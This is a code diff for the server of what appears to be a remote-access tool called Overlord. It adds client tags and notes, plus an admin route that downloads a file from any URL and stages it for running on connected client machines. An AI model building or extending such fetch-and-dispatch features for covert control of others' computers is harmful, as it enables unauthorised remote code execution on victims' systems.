-
-
-
-
-
-
Drag & drop an installer
-
or click to select a file
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Drag & drop an installer
+
or click to select a file
+
+
+
+
+
+
+
+
+
+
+
+
+
The server will download the file and stage it for dispatch.
+
+
No file uploaded yet.
diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts
index 78faa3f..e7e072a 100644
--- a/Overlord-Server/src/db.ts
+++ b/Overlord-Server/src/db.ts
@@ -21,6 +21,8 @@ db.run(`
version TEXT,
user TEXT,
nickname TEXT,
+ custom_tag TEXT,
+ custom_tag_note TEXT,
monitors INTEGER,
country TEXT,
last_seen INTEGER,
@@ -40,6 +42,12 @@ try {
try {
db.run(`ALTER TABLE clients ADD COLUMN nickname TEXT`);
} catch {}
+try {
+ db.run(`ALTER TABLE clients ADD COLUMN custom_tag TEXT`);
+} catch {}
+try {
+ db.run(`ALTER TABLE clients ADD COLUMN custom_tag_note TEXT`);
+} catch {}
db.run(
`CREATE INDEX IF NOT EXISTS idx_clients_online_last_seen ON clients(online, last_seen DESC);`,
);
@@ -133,8 +141,8 @@ export function upsertClientRow(
) {
const now = partial.lastSeen ?? Date.now();
db.run(
- `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, monitors, country, last_seen, online, ping_ms)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+ `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
hwid=COALESCE(excluded.hwid, clients.hwid),
role=COALESCE(excluded.role, clients.role),
@@ -145,6 +153,8 @@ export function upsertClientRow(
version=COALESCE(excluded.version, clients.version),
user=COALESCE(excluded.user, clients.user),
nickname=clients.nickname,
+ custom_tag=clients.custom_tag,
+ custom_tag_note=clients.custom_tag_note,
monitors=COALESCE(excluded.monitors, clients.monitors),
country=COALESCE(excluded.country, clients.country),
last_seen=excluded.last_seen,
@@ -160,6 +170,9 @@ export function upsertClientRow(
partial.arch ?? null,
partial.version ?? null,
partial.user ?? null,
+ partial.nickname ?? null,
+ partial.customTag ?? null,
+ partial.customTagNote ?? null,
partial.monitors ?? null,
partial.country ?? null,
now,
@@ -209,6 +222,22 @@ export function getClientNickname(id: string): string | null {
return row?.nickname ?? null;
}
+export function setClientTag(
+ id: string,
+ tag: string | null,
+ note: string | null,
+): boolean {
+ const normalizedTag = tag && tag.trim() ? tag.trim() : null;
+ const normalizedNote = normalizedTag ? note ?? null : null;
+ const result = db.run(
+ `UPDATE clients SET custom_tag=?, custom_tag_note=? WHERE id=?`,
+ normalizedTag,
+ normalizedNote,
+ id,
+ );
+ return ((result as any)?.changes || 0) > 0;
+}
+
export function getClientIp(id: string): string | null {
const row = db.query<{ ip: string }>(`SELECT ip FROM clients WHERE id=?`).get(id);
return row?.ip || null;
@@ -273,10 +302,10 @@ export function listClients(filters: ListFilters): ListResult {
if (search) {
where.push(
- "(LOWER(COALESCE(host,'')) LIKE ? OR LOWER(COALESCE(user,'')) LIKE ? OR LOWER(COALESCE(nickname,'')) LIKE ? OR LOWER(id) LIKE ?)",
+ "(LOWER(COALESCE(host,'')) LIKE ? OR LOWER(COALESCE(user,'')) LIKE ? OR LOWER(COALESCE(nickname,'')) LIKE ? OR LOWER(COALESCE(custom_tag,'')) LIKE ? OR LOWER(COALESCE(custom_tag_note,'')) LIKE ? OR LOWER(id) LIKE ?)",
);
const needle = `%${search}%`;
- params.push(needle, needle, needle, needle);
+ params.push(needle, needle, needle, needle, needle, needle);
}
if (statusFilter === "online") {
@@ -333,7 +362,7 @@ export function listClients(filters: ListFilters): ListResult {
const rows = db
.query
(
- `SELECT id, hwid, role, host, os, arch, version, user, nickname, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs
+ `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs
FROM clients
${whereSql}
${orderBy}
@@ -352,6 +381,8 @@ export function listClients(filters: ListFilters): ListResult {
version: c.version || "0",
user: c.user,
nickname: c.nickname || null,
+ customTag: c.customTag || null,
+ customTagNote: c.customTagNote ?? null,
monitors: c.monitors,
country: c.country || "ZZ",
pingMs: c.pingMs ?? null,
diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts
index fc74f74..267f4fc 100644
--- a/Overlord-Server/src/server/routes/client-routes.ts
+++ b/Overlord-Server/src/server/routes/client-routes.ts
@@ -12,6 +12,7 @@ import {
listBannedIps,
listClients,
setClientNickname,
+ setClientTag,
setOnlineState,
unbanIp,
} from "../../db";
@@ -334,6 +335,69 @@ export async function handleClientRoutes(
return Response.json({ ok: true, nickname }, { headers: deps.CORS_HEADERS });
}
+ const clientTagMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/tag$/);
+ if (req.method === "PATCH" && clientTagMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const targetId = clientTagMatch[1];
+ if (!canUserAccessClient(user.userId, user.role, targetId)) {
+ return new Response("Forbidden: Client access denied", { status: 403 });
+ }
+ if (!clientExists(targetId)) {
+ return Response.json({ error: "Client not found" }, { status: 404 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return Response.json({ error: "Invalid JSON body" }, { status: 400 });
+ }
+
+ const rawTag = typeof body?.tag === "string" ? body.tag : "";
+ const rawNote = typeof body?.note === "string" ? body.note : "";
+ const tag = rawTag.trim();
+ if (tag.length > 64) {
+ return Response.json(
+ { error: "Tag must be 64 characters or fewer" },
+ { status: 400 },
+ );
+ }
+
+ const normalizedTag = tag.length ? tag : null;
+ const note = normalizedTag ? rawNote : null;
+ const updated = setClientTag(targetId, normalizedTag, note);
+ if (!updated) {
+ return Response.json({ error: "Client not found" }, { status: 404 });
+ }
+
+ const ip = server.requestIP(req)?.address || "unknown";
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.COMMAND,
+ targetClientId: targetId,
+ details: normalizedTag
+ ? `set_custom_tag:${normalizedTag} (note_len=${note?.length || 0})`
+ : "clear_custom_tag",
+ success: true,
+ });
+
+ return Response.json(
+ { ok: true, tag: normalizedTag, note: note ?? null },
+ { headers: deps.CORS_HEADERS },
+ );
+ }
+
if (req.method === "POST") {
const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
if (cmdMatch) {
diff --git a/Overlord-Server/src/server/routes/deploy-routes.ts b/Overlord-Server/src/server/routes/deploy-routes.ts
index 6b73856..471f5a9 100644
--- a/Overlord-Server/src/server/routes/deploy-routes.ts
+++ b/Overlord-Server/src/server/routes/deploy-routes.ts
@@ -81,6 +81,71 @@ export async function handleDeployRoutes(
return Response.json({ ok: true, uploadId: id, os, name: filename, size: bytes.length });
}
+ if (req.method === "POST" && url.pathname === "/api/deploy/fetch-url") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const fileUrl = typeof body?.url === "string" ? body.url.trim() : "";
+ if (!fileUrl) {
+ return new Response("Missing url", { status: 400 });
+ }
+
+ let parsed: URL;
+ try {
+ parsed = new URL(fileUrl);
+ } catch {
+ return new Response("Invalid URL", { status: 400 });
+ }
+ if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
+ return new Response("Only http and https URLs are allowed", { status: 400 });
+ }
+
+ const rawFilename = path.basename(parsed.pathname) || "download.bin";
+ const filename = rawFilename.replace(/[^a-zA-Z0-9._\-]/g, "_").substring(0, 128) || "download.bin";
+
+ let fileBytes: Uint8Array;
+ try {
+ const fetchRes = await fetch(fileUrl);
+ if (!fetchRes.ok) {
+ return new Response(`Remote fetch failed: ${fetchRes.status}`, { status: 502 });
+ }
+ fileBytes = new Uint8Array(await fetchRes.arrayBuffer());
+ } catch (err: any) {
+ return new Response(`Failed to fetch URL: ${err?.message || "network error"}`, { status: 502 });
+ }
+
+ const id = uuidv4();
+ await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true });
+ const folder = path.join(deps.DEPLOY_ROOT, id);
+ await fs.mkdir(folder, { recursive: true });
+ const targetPath = path.join(folder, filename);
+ await fs.writeFile(targetPath, fileBytes);
+
+ const os = deps.detectUploadOs(filename, fileBytes);
+ const entry: DeployUpload = {
+ id,
+ path: targetPath,
+ name: filename,
+ size: fileBytes.length,
+ os,
+ };
+ deps.deployUploads.set(id, entry);
+
+ return Response.json({ ok: true, uploadId: id, os, name: filename, size: fileBytes.length });
+ }
+
if (req.method === "POST" && url.pathname === "/api/deploy/run") {
const user = await authenticateRequest(req);
if (!user) {
diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts
index c01f29c..51ae26c 100644
--- a/Overlord-Server/src/types.ts
+++ b/Overlord-Server/src/types.ts
@@ -16,6 +16,8 @@ export type ClientInfo = {
version?: string;
user?: string;
nickname?: string;
+ customTag?: string;
+ customTagNote?: string;
monitors?: number;
monitorInfo?: { width: number; height: number }[];
country?: string;